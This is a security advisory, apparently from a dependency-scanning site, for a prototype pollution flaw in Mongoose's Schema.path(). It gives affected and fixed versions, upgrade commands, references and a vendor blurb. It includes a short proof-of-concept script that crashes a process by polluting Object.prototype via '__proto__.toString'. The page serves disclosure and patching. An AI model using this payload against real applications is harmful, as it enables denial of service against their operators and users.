Mongoose Vulnerable to Prototype Pollution in Schema Object
Published 27 Aug 2022 · Updated 22 Apr 2024
Affected packages
- Affected
- >=6.0.0 <6.4.6
- Fixed in
- 6.4.6
npm install mongoose@6.4.6- Affected
- <5.13.15
- Fixed in
- 5.13.15
npm install mongoose@5.13.15Details
Description
Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.
Affected versions of this package are vulnerable to Prototype Pollution. The Schema.path() function is vulnerable to prototype pollution when setting the schema object. This vulnerability allows modification of the Object prototype and could be manipulated into a Denial of Service (DoS) attack.
Proof of Concept
// poc.js
const mongoose = require('mongoose');
const schema = new mongoose.Schema();
malicious_payload = '__proto__.toString'
schema.path(malicious_payload, [String])
x = {}
console.log(x.toString()) // crashed (Denial of service (DoS) attack)Impact
This vulnerability can be manipulated to exploit other types of attacks, such as Denial of service (DoS), Remote Code Execution, or Property Injection.
Is GHSA-h8hf-x3f4-xwgp in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected mongoose, and gives you the command that fixes it.
References
- Advisorynvd.nist.gov/vuln/detail/CVE-2022-24304
- Linkgithub.com/Automattic/mongoose/issues/12085
- Linkgithub.com/Automattic/mongoose/commit/6a197316564742c0422309e1b5fecfa4faec126e
- Linkgithub.com/Automattic/mongoose/commit/a45cfb6b0ce0067ae9794cfa80f7917e1fb3c6f8
- Linkgithub.com/Automattic/mongoose/blob/51e758541763b6f14569744ced15cc23ab8b50c6/lib/schema.js#L88-L141
- Linkhuntr.dev/bounties/055be524-9296-4b2f-b68d-6d5b810d1ddd
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.